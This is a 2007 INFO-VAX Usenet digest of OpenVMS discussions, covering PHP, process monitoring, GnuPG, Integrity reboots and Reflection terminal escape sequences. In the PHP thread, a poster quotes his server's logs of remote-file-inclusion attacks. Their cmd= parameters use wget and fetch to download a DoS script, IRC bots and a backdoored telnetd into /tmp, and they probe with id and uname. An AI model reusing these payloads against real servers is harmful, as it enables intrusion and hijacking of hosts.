INFO-VAX Fri, 28 Dec 2007 Volume 2007 : Issue 711 Contents: Re: Compiling PHP and/or any PHP Extension on VMS Re: CPU Looper Monitor Script Re: CPU Looper Monitor Script Re: GnuPG 1.4.8 for VMS Re: GnuPG 1.4.8 for VMS How to get an Integrity to auto-reboot? Re: How to get an Integrity to auto-reboot? Re: Setting Reflection 2 window titles from VMS Re: Setting Reflection 2 window titles from VMS Re: Setting Reflection 2 window titles from VMS Re: Setting Reflection 2 window titles from VMS Re: Setting Reflection 2 window titles from VMS Re: Setting Reflection 2 window titles from VMS Re: The return of VMS Re: The return of VMS Re: Unix for VMS guys ---------------------------------------------------------------------- Date: Thu, 27 Dec 2007 20:28:56 -0500 From: =?ISO-8859-1?Q?Arne_Vajh=F8j?= Subject: Re: Compiling PHP and/or any PHP Extension on VMS Message-ID: <47745157$0$90266$14726298@news.sunsite.dk> Bill Gunshannon wrote: > In article <476fe258$0$90273$14726298@news.sunsite.dk>, > Arne Vajhøj writes: >> Bill Gunshannon wrote: >>> In article <476ee6ba$0$90263$14726298@news.sunsite.dk>, >>> Arne Vajhøj writes: >>>> Bill Gunshannon wrote: >>>>> In article <476ed316$0$90273$14726298@news.sunsite.dk>, >>>>> Arne Vajhøj writes: >>>>>> Bugs in PHP itself are relative rare. Bugs in apps written in PHP are >>>>>> relative common. >>>>> It isn't just bugs. It is a language iwho's interface is designed to >>>>> let outsiders execute any command available on the system any time they >>>>> want to by merely adding it to the URL sent to the PHP script. >>>> ???? >>>> >>>> It should save it in $_REQUEST, $_GET and $_SERVER but >>>> not execute it. >>> Yeah, that would be nice, but reality is somewhat different. >> Do you have a reference. It sounds rather impossible to me. > > The net is covered with security alerts about PHP. How about if I just > show you the kinds of things they have tried on my server? > ------------------ > > httpd-access2.log:200.215.111.144 - - [29/Mar/2005:14:50:23 -0500] "GET /~cmps/template.php?body=http://www.bsmoney.com/BoSS.txt?&cmd=cd%20/tmp;fetch%20http://packetstormsecurity.nl/DoS/udp.pl HTTP/1.1" 404 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" > > ** This one is trying to download a UDP based DOS attack written in Perl to > the /tmp directory. Where it will then be used to attack some other > from an "innocent" server. > > httpd-access2.log:200.151.236.187 - - [07/Jun/2004:18:47:39 -0400] "GET /~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=cd%20/tmp%20;%20fetch%20http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz HTTP/1.1" 200 5915 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" > > ** This one is downloading an IRC BOT. I will leave it to you to figure > out why. I stopped using IRC over a decade ago, I can not see any indication of whether this is trying to exploit a bug in PHP or a bug in the PHP app. > httpd-access.log:200.151.83.14 - - [20/May/2004:12:59:42 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=cd%20/tmp%20;%20wget%20http://members.lycos.co.uk/xnelson/bnc.pl" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" > > ** Same thing written in Perl. > > httpd-access.log:200.151.83.14 - - [20/May/2004:13:05:43 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=netstat%20-an" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;DigExt)" > > ** This one is running netstat, probably just fishing for addresses of > local machines or maybe just trying to see if the PHP exploit works. > > httpd-access.log:80.178.183.122 - - [20/May/2004:17:46:12 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=id" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" > > ** This one is trying to see what user PHP scripts run as. > > httpd-access.log:200.151.83.14 - - [20/May/2004:13:07:58 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://www.starcraftbroodwars.hpg.ig.com.br/own.txt?&cmd=ps%20x" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" > > ** This one is looking for what processes are running. Maybe to see if > the exploit worked? > > httpd-access.log:80.178.183.122 - - [20/May/2004:17:46:22 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=uname%20-a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" > > ** This one is probing for info on system type. > > httpd-access.log:80.178.183.122 - - [20/May/2004:17:49:08 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=cd%20/tmp;pwd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" > > ** This one seems to be testing wether or not changing directories worked. > > httpd-access.log:80.178.183.122 - - [20/May/2004:17:49:15 -0400] "GET /~mep2/tri.gif HTTP/1.1" 404 295 "http://www.cs.uofs.edu/~mep2/index.php?page=http://ttyp1.hpgvip.com.br/hkz.txt?&cmd=cd%20/tmp;wget%20talesrenan.vila.bol.com.br/telnetd" "Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1)" > > ** And this one is trying to use "wget" to download a telnet daemon that > probably bypasses the password part of the login. Those are definitely neither trying to exploit a bug in PHP or a bug in the PHP app since it is request for static content (GIF). It will not get anywhere near PHP. The reference to PHP is the HTTP referrer. >> Maybe except if PHP is run as CGI on an OS that supports multiple >> statements in a command line - or something like that. > > I imagine the biggest use for PHP is as CGI No. Apache module and ISAPI covers most of PHP usage. It is very rare to run as CGI. > and the "cmd=" is apparently > normal URL syntax. What it does is a function of PHP. I can not think > of any good, legitimate reason to allow this. The field=val syntax is standard HTTP syntax and a foundation for much of the internet. It is up to the server side script not to execute shell commands. >>>>> Perl and PHP are the antithesis of software engineering. >>>> They are not like the classic programming languages with declarations >>>> of data types etc.. >>> They are, by design, for "quick and dirty" programming. >> Web programming often fits that description very well. > > And you don't see a problem with that? It does really not matter much what I think. What matters is that there is a huge demand for web solutions with very short time from idea to production. PHP fulfills that demand. There are also other possibilities, but the classic programming languages are not among them. And I somewhat suspect that you are not RoR fan either. Arne ------------------------------ Date: Thu, 27 Dec 2007 19:01:31 GMT From: VAXman- @SendSpamHere.ORG Subject: Re: CPU Looper Monitor Script Message-ID: In article , David_Murphy@murphyfamily.org writes: > > >On Dec 27, 12:47 pm, Neil Rieck wrote: > >> The key to this utility is to create an array at run-time >> which is no larger than sysgen parameter "MaxProcessCnt" > >The maximum value for that parameter is 8192 on this VAX 400-700A >running VMS version V6.2 . . . you might want to watch out for it >being >much larger on more recent releases, depending upon how much data >is being stored per process. > >> You then do a wild-card GETJPI at >> some specified interval (60 seconds ?) taking note of PID numbers, >> user names, imagenames etc. If any of these change then the PID has >> been reassigned to a new process > >I would think that simply comparing the current value of JPI$_LOGINTIM >to the stored value would suffice. In fact, a different JPI$_IMAGENAM >is certainly not an indication in itself that a new process owns that >PID. The OP posted that he was using TCPIP Services V5.4 eco 6 on a VMS V7.3-2 system. I've tried to replicate the looping SSH processes to no avail. I'd like to know where the process is spending its time looping. That'd, perhaps, help find a solution to the looping problem instead of spending more CPU cycles simply to identify such looping processes. -- VAXman- A Bored Certified VMS Kernel Mode Hacker VAXman(at)TMESIS(dot)COM "Well my son, life is like a beanstalk, isn't it?" http://tmesis.com/drat.html ------------------------------ Date: Thu, 27 Dec 2007 14:24:06 -0800 (PST) From: Neil Rieck Subject: Re: CPU Looper Monitor Script Message-ID: <7fb652a9-3ec3-42be-a2a3-113cc81f0b78@e4g2000hsg.googlegroups.com> On Dec 27, 1:30=A0pm, David_Mur...@murphyfamily.org wrote: > On Dec 27, 12:47 pm, Neil Rieck wrote: > > > The key to this utility is to create an array at run-time > > which is no larger than sysgen parameter "MaxProcessCnt" > > The maximum value for that parameter is 8192 on this VAX 400-700A > running VMS version V6.2 . . . you might want to watch out for it > being > much larger on more recent releases, depending upon how much data > is being stored per process. > > > You then do a wild-card GETJPI at > > some specified interval (60 seconds ?) taking note of PID numbers, > > user names, imagenames etc. If any of these change then the PID has > > been reassigned to a new process > > I would think that simply comparing the current value of JPI$_LOGINTIM > to the stored value would suffice. =A0In fact, a different JPI$_IMAGENAM > is certainly not an indication in itself that a new process owns that > PID. > > ok > dpm Although 8192 is available as a "maximum value" on your VAX, I've never seen it higher than 500 on any of my VAX or Alpha platforms. Of course it all depends on how you are using the machine AND who tuned it. Here is what you see on my dual-CPU AS-DS20e (OpenVMS-8.3) Parameter Name Current Default Min. Max. Unit Dynamic -------------- ------- ------- ------- ------- ---- ------- MAXPROCESSCNT 400 32 12 32767 Processes BALSETCNT 344 30 8 32765 Processes D Nine months ago I doubled these values when we started forcing people to log in via SSH. This meant every interactive user now required a minimum of two process slots. But you are correct. If someone had set MAXPROCESSCNT to a large number then my monitor program would need much more memory to keep track of all the processes. But then again these are virtual memory systems :-) Neil Rieck Kitchener/Waterloo/Cambridge, Ontario, Canada. http://www3.sympatico.ca/n.rieck/links/cool_openvms.html http://www3.sympatico.ca/n.rieck/links/openvms_demos.html ------------------------------ Date: 27 Dec 2007 19:54:47 GMT From: JONESD@ecr6.ohio-state.edu (David Jones) Subject: Re: GnuPG 1.4.8 for VMS Message-ID: In message <2ee4ba40-c13f-429d-a4a8-4cd681415d66@l32g2000hse.googlegroups.com>, IanMiller writes: >The hP GnuPG 1.4-7 kit was announced waaay back on 7th December. Don't >you read the news :-) > >http://www.openvms.org/stories.php?story=07/12/15/1976734 I see they lifted code to seed the random number generator from my 9 years old SSH server. Relative to the effort the other platforms go to get a good accumulation of entropy, output from a few $GETJPI calls seems kind of inadequate. I've come up with my own rndvms.c module, that hopefully is somewhat more robust, packed in the zip archive: http://www.ecr6.ohio-state.edu/~jonesd/gpg-mods_1.zip David L. Jones | Phone: (614) 271-6718 Ohio State University | Internet: 140 W. 19th St. | jonesd@ecr6.ohio-state.edu Columbus, OH 43210 | vman+@osu.edu Disclaimer: I'm looking for marbles all day long. ------------------------------ Date: Thu, 27 Dec 2007 14:08:48 -0600 (CST) From: sms@antinode.org (Steven M. Schweda) Subject: Re: GnuPG 1.4.8 for VMS Message-ID: <07122714084868_202647DE@antinode.org> From: JONESD@ecr6.ohio-state.edu (David Jones) > I see they lifted code to seed the random number generator from my 9 years old > SSH server. Relative to the effort the other platforms go to get a good > accumulation of entropy, output from a few $GETJPI calls seems kind of > inadequate. > > I've come up with my own rndvms.c module, that hopefully is somewhat more > robust, packed in the zip archive: > > http://www.ecr6.ohio-state.edu/~jonesd/gpg-mods_1.zip As the release notes say, my kit uses one which I wrote, but I don't know if it's actually an improvement over the old one. It does let the user customize it by changing/adding DCL commands to a list of things to do. (Complaints and suggestions are always welcome.) ------------------------------------------------------------------------ Steven M. Schweda sms@antinode-org 382 South Warwick Street (+1) 651-699-9818 Saint Paul MN 55105-2547 ------------------------------ Date: Thu, 27 Dec 2007 17:50:57 -0800 (PST) From: David B Sneddon Subject: How to get an Integrity to auto-reboot? Message-ID: Hi Folks, I have two rx1600s that have been recently upgraded to V8.3-1H1 and had the latest patches (as of 25-Dec) installed. I remember being able to have these automatically reboot -- but that was a long time ago. I only have a VT520 connected to the serial port. There is no management console. On a power-up or shutdown with restart, it gets as far as the boot manager menu and waits, and waits, and waits despite the automatic reboot timer being set to 10 seconds. I cannot notice any errors or "odd" messages during the boot and POST phases. Does anyone have a definitive guide to getting these beasts to reboot as requested. If they can't do it then they are of no use whatsoever in a production environment. Dave ------------------------------ Date: Thu, 27 Dec 2007 17:53:50 -0800 (PST) From: David B Sneddon Subject: Re: How to get an Integrity to auto-reboot? Message-ID: And some more info that I should have probably included in the last message... It is OpenVMS... on an rx1600, system firmware 2.11 [4445] BMC version 3.48 EFI boot manager 1.10 [14.62] Dave ------------------------------ Date: Thu, 27 Dec 2007 20:16:33 -0500 From: =?ISO-8859-1?Q?Arne_Vajh=F8j?= Subject: Re: Setting Reflection 2 window titles from VMS Message-ID: <47744e72$0$90269$14726298@news.sunsite.dk> John E. Malmberg wrote: > I am trying to find a way that I can set the titles of my R2 terminal > emulation session from VMS. Given that a real terminal does not have a title, then I doubt that will work. Reflection online help does not seem to contain any non-standard escape sequences for it either. > This is so that after the frequent reboots of the PC, I can reconnect to > the existing sessions on VMS and then just run a script or program to > fix the titles. What about a low tech solution. Create a bunch of short cuts with different settings files with the desired name as filename ? Arne ------------------------------ Date: Thu, 27 Dec 2007 19:17:15 -0600 From: David J Dachtera Subject: Re: Setting Reflection 2 window titles from VMS Message-ID: <47744E9B.BCAECF97@spam.comcast.net> VAXman-, @SendSpamHere.ORG wrote: > > [snip] > I maintain a product that writes VT escape sequences. I have been plagued > in recent years by the terminal emulators claiming to be VT200/300/400 com- > patible when they are not. I have been urged to just modify the product to > work with Reflections as I was told *everybody* uses Reflections today. In my experience, Reflection (singular) remains THE most complete VT emulation available, and even includes something none of the others do, AFAIK: smooth scroll. > I > don't! The Reflections and other terminal emulator makers should simply do > a better job at emulating the VTs. > > However, if there *IS* a way to determine the emulator in use, I'd like to > know as then I can add support for these terminal emulators. There is a program that ships with Reflection called WRQINQ (I think). It's a host-based program, and so may not be available for I64 or Alpha, though the VAX version should VEST nicely and the resulting Alpha .EXE should AEST to I64 - I've not tried it. WRQINQ queries the terminal for the Reflection serial number from which can be determined the product (Reflection/2, -/4, etc.) and other characteristics. It was documented on the old WRQ KB, but since Attachmate, dunno how to find that. Reflection/2 is the character-cell emulator (VT10x, VT220, VT320, VT420, VT510, VT520). It is now called "Reflection for UNIX and Digital". Reflection/4 is the graphic terminal emulator (VT125, VT230/VT240, VT330/VT340, VT525). It is now called "Reflection for ReGIS Graphics". Other versions, Reflection/1 and -/3 for example, may offer only VT10x and/or VT220 emulation, and ALL (1-4) may or may not support downloadable fonts, etc. in VT220 mode. I'd be curious to know what you're attempting that R/2 or R/4 chokes on. Their capabilities will be restricted somewhat by their operating environment, especially performance on slower PCs. Older versions may not perform as well/accurately as newer ones. David J Dachtera DJE Systems ------------------------------ Date: Thu, 27 Dec 2007 19:23:47 -0600 From: David J Dachtera Subject: Re: Setting Reflection 2 window titles from VMS Message-ID: <47745023.A32E17D@spam.comcast.net> "P. Sture" wrote: > [snip] > I did something similar many years ago to distinguish between "standard" > VT100s and an OEM VT100 wannabe which had extended functionality. > > To keep the explanation as simple as possible... > > Before invoking the application software, I sent all terminals the OEM > private sequence to change to OEM-VT100 mode, followed by a "what are > you?" request, and then invoked the application accordingly. This of > course relied on the "standard" VT100s to not change their mode or > otherwise screw up in response to the OEM private sequence. > > On application exit, for the OEM-VT100s I sent the sequence to switch > back to vanilla VT100 mode so as not to interfere with standard VMS or > other third party software. ...which is fine until the user hits while in your app. and connects to a session on another system. (We're talking terminal servers here, of course!) Same deal if one s out of an EDT session and goes to do something else on another machine - you usually end up with a 22-line display instead of a 24 line display, and the key pad(s) are still in application mode. David J Dachtera DJE Systems ------------------------------ Date: Thu, 27 Dec 2007 19:49:29 -0600 From: David J Dachtera Subject: Re: Setting Reflection 2 window titles from VMS Message-ID: <47745629.BC114673@spam.comcast.net> Arne Vajhøj wrote: > > John E. Malmberg wrote: > > I am trying to find a way that I can set the titles of my R2 terminal > > emulation session from VMS. > > Given that a real terminal does not have a title, then I doubt that will > work. > > Reflection online help does not seem to contain any non-standard > escape sequences for it either. > > > This is so that after the frequent reboots of the PC, I can reconnect to > > the existing sessions on VMS and then just run a script or program to > > fix the titles. > > What about a low tech solution. > > Create a bunch of short cuts with different settings files > with the desired name as filename ? > > Arne The window title IS user-configurable, but I've never seen a way to do that from the host, to the best of my memory. If it could be done, one would need to send only the requisite literal string, packed in the required escape sequences, if any are actually available. There was a way to send old-style RCL commands from the host (haven't done that since I tried to write a BBS in All-in-1). Sample scripts were available in the old WRQ KB; however, since the buyout by Attachmate, dunno if those can still be found without a lot of hacking. It may still work in the current versions, even though RCL has been deprecated in favor of "Visual BASIC" (VASTLY more verbose!). I think RCL could be used to set/change the window title. Not sure just now. I think the old Reflection Programmer's Reference manuals may be available as .PDFs now, but darned if I can find them on short notice. Let me dig throughthe on-line help in V9... O.K. If you could find how to send RCL commands from the host, you'd want to SET WINDOW-TITLE "string", where "string" is whatever you want to have in the window title. David J Dachtera DJE Systems ------------------------------ Date: Thu, 27 Dec 2007 20:07:06 -0600 From: David J Dachtera Subject: Re: Setting Reflection 2 window titles from VMS Message-ID: <47745A4A.2417A9BF@spam.comcast.net> David J Dachtera wrote: > [snip] > There is a program that ships with Reflection called WRQINQ (I think). > It's a host-based program, and so may not be available for I64 or Alpha, > though the VAX version should VEST nicely and the resulting Alpha .EXE > should AEST to I64 - I've not tried it. WRQINQ queries the terminal for > the Reflection serial number from which can be determined the product > (Reflection/2, -/4, etc.) and other characteristics. It was documented > on the old WRQ KB, but since Attachmate, dunno how to find that. Follow-up... WRQINQ is supplied as WRQINQ.IMG for VAX. There is also a WRQINQA.IMG which may be an Alpha executable. Upload as binary and rename to .EXE for ease of RUNning it. On my laptop here, WRQINQ is in the C:\Program Files\Reflection\Support path. However, the images are corrupt (extraneous text at the beginning of the image file, appears to be LINK qualifiers). If you could fix them, they'd return two DCL symbols: REFLECTION_ID and REFLECTION_UPI. REFLECTION_ID would indicate which product you're dealing with, as I recall. David J Dachtera DJE Systems ------------------------------ Date: Thu, 27 Dec 2007 20:27:46 -0800 (PST) From: Doug Phillips Subject: Re: Setting Reflection 2 window titles from VMS Message-ID: <391ada0a-b681-4228-920b-ec005dade16d@s8g2000prg.googlegroups.com> On Dec 27, 6:32 am, VAXman- @SendSpamHere.ORG wrote: > In article , "John E. Malmberg" writes: > > > > > > >I am trying to find a way that I can set the titles of my R2 terminal > >emulation session from VMS. > > >I am running Reflection R2 version 5.20 > > >This is so that after the frequent reboots of the PC, I can reconnect to > >the existing sessions on VMS and then just run a script or program to > >fix the titles. > > >Ideally I would want to identify the terminal emulator in use so that I > >can have one script work for what ever is in use. > > >R2 has some private escape sequences that return its serial number, and > >that seems to be a possible way to identify it. > > >So far what I have determined: > > >R2 (V5.20) claims to be a VT400 with soft characters. It also supports > >ANSI color, but set term/inquire does not appear to probe for this > >feature if there is a way to do so. > > >DecTERMs claim to be VT300 with no soft characters and support for ANSI > >color. Decterms use a DEC private escape sequence to set the window titles. > > >The free version of IVT claims to be a VT200 with soft characters. I > >have not tested it to see if it supports ANSI colors. IVT window titles > >can be set with the "xterm" escape sequences. > > >Putty by default claims to be a VT102. It supports ANSI colors, as > >noted above, set term/inq does not indicate so. Putty window titles can > >be set with the "xterm" escape sequences. > > >I have not yet found any way to positively identify any of the above > >terminal emulators. For my local LAN, I can put in a hint in the > >answerback message, but I would prefer a generic solution. > > >That way I can also have the SYLOGIN.COM accurately set what the > >terminal emulators can really do for the terminal characteristics. > > When/if you do, I'd be very very interested to know how you determine these. > > I maintain a product that writes VT escape sequences. I have been plagued > in recent years by the terminal emulators claiming to be VT200/300/400 com- > patible when they are not. I have been urged to just modify the product to > work with Reflections as I was told *everybody* uses Reflections today. I > don't! The Reflections and other terminal emulator makers should simply do > a better job at emulating the VTs. > > However, if there *IS* a way to determine the emulator in use, I'd like to > know as then I can add support for these terminal emulators. > On Dec 26, 11:38 pm, "John E. Malmberg" wrote: > I am trying to find a way that I can set the titles of my R2 terminal > emulation session from VMS. > > I am running Reflection R2 version 5.20 > > This is so that after the frequent reboots of the PC, I can reconnect to > the existing sessions on VMS and then just run a script or program to > fix the titles. > > Ideally I would want to identify the terminal emulator in use so that I > can have one script work for what ever is in use. > > R2 has some private escape sequences that return its serial number, and > that seems to be a possible way to identify it. > > So far what I have determined: > > R2 (V5.20) claims to be a VT400 with soft characters. It also supports > ANSI color, but set term/inquire does not appear to probe for this > feature if there is a way to do so. > > DecTERMs claim to be VT300 with no soft characters and support for ANSI > color. Decterms use a DEC private escape sequence to set the window titles. > > The free version of IVT claims to be a VT200 with soft characters. I > have not tested it to see if it supports ANSI colors. IVT window titles > can be set with the "xterm" escape sequences. > > Putty by default claims to be a VT102. It supports ANSI colors, as > noted above, set term/inq does not indicate so. Putty window titles can > be set with the "xterm" escape sequences. > > I have not yet found any way to positively identify any of the above > terminal emulators. For my local LAN, I can put in a hint in the > answerback message, but I would prefer a generic solution. > > That way I can also have the SYLOGIN.COM accurately set what the > terminal emulators can really do for the terminal characteristics. > Reflection2 V6.0 has some DCL examples that I don't find on my later versions (they're in the PC's ...\Reflection\VT\Support\ folder) and have .dcl extensions rather than .com Since there's no copyright notice, here's one below that will probably wrap. It "detects" Reflection and sends a Reflection command: $!++ $!SETWIDTH.COM -- sets the terminal to match the Display width of $! Reflection 2 or Reflection 4. $! $!To invoke: @SETWIDTH (from LOGIN.COM is handy) $! $!This assumes a SET TERM/INQUIRE has been done before this procedure, $!or that the terminal line has been set correctly in advance. $!-- $!if not an interactive process exit $ if .not. f$environment("INTERACTIVE") then exit $!if not a DEC crt exit $ if .not. f$getdvi(f$logical("TT"), "TT_DECCRT") then exit $ esc[0,8] = 27 $! save the terminal settings we're about to alter $ had_echo = "" $ if .not. f$getdvi(f$logical("TT"), "TT_NOECHO") then - had_echo := /ECHO $ had_esc = "" $ if .not. f$getdvi(f$logical("TT"), "TT_ESCAPE") then - had_escape := /NOESCAPE $ set term/noecho/escape $!if not Reflection, then exit $ read/prompt="''esc'[2h''esc'[0;1234c"/error=unlock/timeout=5 sys $command p1 $ if f$length(p1) .eqs. 0 then goto unlock $!set terminal width to match $ read/prompt="''esc'P1234;2{transmit value(display-columns) & ""^M""''esc'\"- /error=unlock/timeout=5 sys$command p1 $ set term/width='p1' $unlock: $ set term'had_echo''had_escape' $ write sys$output "''esc'[2l" $!++ Note the two read/prompt lines. The first asks for the Reflection serial number, the second sends a Reflection command. There are some other WRQ special commands listed in the Programming guide under Help. I've used the other emulators mentioned but not as extensively as Reflection. ISTR that Powerterm (included with Pathworks) also has some way to identify itself but I don't have that anyplace handy to look at right now. John: Afa changing windows titles, if you mean dynamically throughout the session, I don't know. There might be a command to do that and if so it would be buried someplace in the Programming section of Reflection's Help, or you'd need to use a WRQ command to communicate with Windows. If you can figure out how to change titles in VB (or Reflection Basic), then you could write a script and execute it from the host via one of the WRQ commands. VAXman: I, too, would be curious to know what you've found lacking in Reflection. If you can be more specific, maybe someone can offer a solution or a work-around. ------------------------------ Date: 27 Dec 2007 16:24:59 -0600 From: Kilgallen@SpamCop.net (Larry Kilgallen) Subject: Re: The return of VMS Message-ID: In article <5thuc1F1d5qjfU1@mid.individual.net>, billg999@cs.uofs.edu (Bill Gunshannon) writes: > In article <0aa5ed37-1816-4373-8103-cb15d492ab89@f53g2000hsg.googlegroups.com>, > Didier_Toulouse writes: >> Air Force graduates first network warfare class >> >> >> Will VMS be the next CyberWeapon to help us defend our networks ? >> > > Did I miss something? I saw no mention of VMS at all in this article. > And for those who might be interested, I am currently going thru DISA > certification and it has no mention of VMS either. So much for the > myth that DOD was still one of the biggest users of VMS. If that is DISA certification for Certification and Accreditation I would certainly expect them to spend time on the Vulnerability Management System database which is _their_ "VMS". ------------------------------ Date: 27 Dec 2007 22:52:03 GMT From: billg999@cs.uofs.edu (Bill Gunshannon) Subject: Re: The return of VMS Message-ID: <5tiokiF1e6gf4U1@mid.individual.net> In article , Kilgallen@SpamCop.net (Larry Kilgallen) writes: > In article <5thuc1F1d5qjfU1@mid.individual.net>, billg999@cs.uofs.edu (Bill Gunshannon) writes: >> In article <0aa5ed37-1816-4373-8103-cb15d492ab89@f53g2000hsg.googlegroups.com>, >> Didier_Toulouse writes: >>> Air Force graduates first network warfare class >>> >>> >>> Will VMS be the next CyberWeapon to help us defend our networks ? >>> >> >> Did I miss something? I saw no mention of VMS at all in this article. >> And for those who might be interested, I am currently going thru DISA >> certification and it has no mention of VMS either. So much for the >> myth that DOD was still one of the biggest users of VMS. > > If that is DISA certification for Certification and Accreditation > I would certainly expect them to spend time on the Vulnerability > Management System database which is _their_ "VMS". Oh, I think everyone here knows which "VMS" I was refering to. As they are equally aware that the former owner has willingly let the trademark expire. bill -- Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves bill@cs.scranton.edu | and a sheep voting on what's for dinner. University of Scranton | Scranton, Pennsylvania | #include ------------------------------ Date: 27 Dec 2007 22:59:47 -0500 From: Rich Alderson Subject: Re: Unix for VMS guys Message-ID: pechter@pcp09822625pcs.eatntn01.nj.comcast.net (Bill Pechter) writes: > In article , > Bob Koehler wrote: >>In article <4f3fd$47568626$cef8887a$30510@TEKSAVVY.COM>, JF Mezei >> writes: >>> There used to be sites that provides much help in converting VMS >>> commands into Unix commands. >>> Does anyone have a current link for such ? >>> Also, would there be a site describing control character equivalences ? >>> (for instance, in VMS, during a program gives you a status of >>> that program, gets you to start of line supressed >>> output until the next major breakpoint etc etc. Having equivalences for >>> Unix would be useful. >> Well, for control-T your out of luck, unless you add it yourself. >> For the others there are several books and cheatsheets available >> if you look for them. > Actually FreeBSD does use control-t to give some system load and program > status information. > #72 i4got.pechter.dyndns.org:/home/pechter> load: 0.00 cmd: ksh 98143 [ttyin] 0.02u 0.00s 0% 656k > FreeBSD i4got.pechter.dyndns.org 6.2-STABLE FreeBSD 6.2-STABLE #0: Sat Sep 29 13:10:43 EDT 2007 root@:/usr/obj/usr/src/sys/I4GOT i386 Is that FreeBSD, or ksh? The same kind of thing was available in tcsh on Ultrix... -- Rich Alderson "You get what anybody gets. You get a lifetime." news@alderson.users.panix.com --Death, of the Endless ------------------------------ End of INFO-VAX 2007.711 ************************